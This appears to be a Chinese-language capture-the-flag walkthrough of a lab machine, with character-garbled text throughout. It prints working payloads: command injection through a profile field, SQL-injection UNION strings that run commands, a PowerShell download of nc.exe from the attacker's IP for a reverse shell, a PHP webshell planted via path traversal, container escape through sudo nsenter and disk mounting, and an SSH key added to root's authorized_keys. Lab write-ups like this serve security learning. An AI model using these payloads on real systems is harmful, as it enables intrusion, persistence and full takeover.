81服务运行了一个ping域名的服务，尝试命令行绕过，貌似不行
82服务没看到啥有用的货色
81端口看url:81/ping?id=1，测试了一下，存在sql注入，那么应该这个才是攻击点
枚举数据库

数据表：host 表字段：id,ip
用户名：monitor_read@localhot
明码：枚举不进去
getshell
这个shell始终打不进去，这里参考大佬的办法
在http://10.10.48.179/profile页面，用户名这个字段能够自在批改
而且每次批改完，上传后的门路随即也会被扭转
由此能够猜测上传代码可能为：
$old_username = 'admin'$new_username = $GET['username']system('mv ' . $old_username . ' '. $new_username)因为$old_username这里是用户能够管制的，也就是说可能存在命令行注入破绽
验证：
在攻击机开启tcpdump监听所有icmp包
tcpdump -i tun0 icmp批改用户名payload为：admin_test | ping 10.13.21.169
如果监听能收到ping包，阐明咱们的命令注入胜利
胜利收到ping包：

第二个shell
因为咱们之前曾经晓得81端口存在一个sql注入，察看这个webapp的性能，如果咱们可能扭转host表ip这个字段的值，那么咱们同样也能够利用命令行注入拿到另外一个shell
通过多翻测试，以后账号没有权限插入和批改数据库里的数据
这里应用CONCAT函数把注入命令当做一个字符串拼接到返回的后果当中，因为id=9999查问不到数据，返回的是一个空串，UNION把后果和"|ipconfig"连贯在了一起，所以程序最初执行的命令是ping |ipconfig
payload如下：id=9999 UNION SELECT NULL,CONCAT("|","ipconfig")-- -
注入用burpsuite时下面的payload要用urlencode加密一下，否则会报400
因为咱们当初曾经能够注入命令，像后面那个shell一样咱们把nc.exe传到靶机，而后再攻击机开启监听，拿到反弹shell
传nc.exe
id=9999 UNION SELECT NULL,CONCAT("|","powershell curl 10.13.21.169:8000/nc.exe -o nc.exe")-- -

第三个shell
82端口这个webapp的getshell十分的trick，以下解法参考了大佬的办法
剖析
首先这是一个提交框，数据被提交到后盾当前，在第二页的源代码正文会呈现这样一行文字：
Ticket saved to ../tickets/
然而无论咱们怎么拜访，失常状况下都是不能拜访tickets这个文件夹的
因为依照之前的教训，所有的webapp其实都是在public下，所以只有咱们可能疏导这个门路到public下，实践上咱们就能在web上拜访到tikeit的内容
通过测试Email Address这个字段能够承受双引号，邮箱格局结尾也容许.php
因而咱们的payload如下：
Email Address: "../public/"@admin.php*
Name: <?php system($_GET['c']); ?\>*
Message: <?php system($_GET['c']); ?\>*
上传当前显示：
saved to ../tickets/../public/@aaa.php
触发拜访：
http://10.10.48.179:82/@aaa.php?c=whoami
页面显示whoami命令返回
当初咱们失去了一个简略的交互式shell

login页面源代码显示，如果胜利登录，将被导向一个token页面,并且能够携带一个参数
<script> $('.login').click( function(){ $.post('/api/user/login',{ 'username' : $('input[name="username"]').val(), 'password' : $('input[name="password"]').val() },function(resp){ if( resp.login ){ window.location = '/token?token=' + resp.token; }else{ alert( resp.error ); } }); })</script>看样子像是一个servermanager数据库的登陆页面。不晓得用户名

貌似能够必定用户名就是admin
1b4237f476826986da63022a76c35bb1是md5密文,解密当前是：dQw4w9WgXcQ
然而admin:dQw4w9WgXcQ不能登录
what the fuck....
这串乖僻的符号和youtube上的这个视频的id竟然一样：
视频是Rick Astley - Never Gonna Give You Up (Official Music Video)，不晓得是作者在叫我不要放弃还是有什么提醒。。。
爆破admin账号不胜利，sql注入也没有后果。在我教训范畴内，我曾经用尽了所有办法，所以这个时候我只能看大佬walkthrough了： ）
原来是在burpsuite里用xml注入

登录进去后在靶机提供的webshell栏写payload:

然而这个零碎并没有su 命令，这个时候能够应用ssh来转换角色
ssh admin@localhost sh
www-data@6b364d3940e6:/var/www/html/public$ ssh admin@localhost shssh admin@localhost shadmin@localhost's password: iduid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo)whoamiadmin这个时候不要切换成tty，用sudo -l查看admin的超级权限，发现能够用/usr/bin/nsenter

sudo /usr/bin/nsenter /bin/shididuid=0(root) gid=0(root) groups=0(root)去/root/container1_flag.txt拿flag
提权
用fdisk -l命令打印发现/dev/xvda1这个分区应该是主机的分区
咱们把它挂载到以后docker镜像的/mnt/compromise上面:
mkdir -p /mnt/compromisemount /dev/xvda1 /mnt/compromise在/mnt/compromise/root 拿到 root flag
把攻击机的公钥追加到靶机的authorized_keys
echo "ssh-rsa *************" >> /mnt/compromise/root/.ssh/authorized_keysroot身份登录靶机
